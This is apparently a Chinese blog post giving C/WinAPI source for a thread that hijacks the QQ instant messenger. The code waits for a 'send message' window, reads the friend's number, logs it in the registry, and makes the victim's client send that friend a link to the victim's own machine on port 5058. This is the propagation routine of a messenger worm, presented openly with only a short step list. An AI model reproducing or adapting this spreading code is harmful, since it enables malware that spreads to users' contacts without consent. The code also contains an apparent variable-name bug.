操作QQ线程的实现

1) 获得本机IP地址。

   2) 等待出现“发送消息”窗口。

   3) 获得这个窗口的QQ号,也就是这个好友的QQ号。判断是否已经向这个号发

      送过,如果是,则转1),不是则发送,并在注册表中登记。

   4) 获得文本区句柄,设置新的消息。

   5) 向“发送消息(&S)"按钮发送BM_CLICK消息,发送这条信息。转1)。

 

DWORD WINAPI  SendQQMsg(LPVOID lpParameter)

{

        HKEY   hKey;   

        char   buf[256];

       

        HWND   hWnd,hTextWnd,hWndQQNumber,hWndButton;

        char   QQRoot[]= "Software//QQNums//";

        char   QQRootNumber[128];

        int    QQNumberID=0x0DF;

        POINT  p={50,280};

 

        struct hostent * lpHostEnt;

        char   szLocalIP[30];        //形如http://202.118.224.2:5058

       

        gethostname(buf,256);

        lpHostEnt = ::gethostbyname (buf);

        struct in_addr *ia=(struct in_addr *)lpHostEnt->h_addr;       

        ::lstrcpy(szLocalIP,"http://");

        ::lstrcat(szLocalIP,inet_ntoa(*ia));

        ::lstrcat(szLocalIP,":5058");

 

        while(TRUE)

        {

                ::Sleep(1000);

                hWnd = ::FindWindow(0,"发送消息");     

                if(hWnd==NULL)

                        continue;

                hWndQQNumber=::GetDlgItem(hWnd,QQNumberID);                                            

                if(hWndQQNumber==NULL)

                        continue;      

                ::SendMessage(hWndQQNumber,WM_GETTEXT,256,(long)buf);                                  

                ::lstrcpy(QQRootNumber,QQRoot);

                ::lstrcat(QQRootNumber,buf);

             

  if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,QQRootNumber,0,

KEY_QUERY_VALUE,&hKey)!=ERROR_SUCCESS)

                {

RegCreateKey(HKEY_LOCAL_MACHINE,QQRootNumber,&hKey);

                    hTextWnd = ::ChildWindowFromPointEx(hWnd,p,CWP_SKIPINVISIBLE);            

                    ::SendMessage(hTextWnd,WM_SETTEXT,30,(long)szLocalIP); 

                       

                    hWndButton = FindWindowEx(hWnd,0,0,"送讯息(&S)");

                    ::SendMessage(hButton,BM_CLICK,0,0);                                          

                }

        }

        return 1;

}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值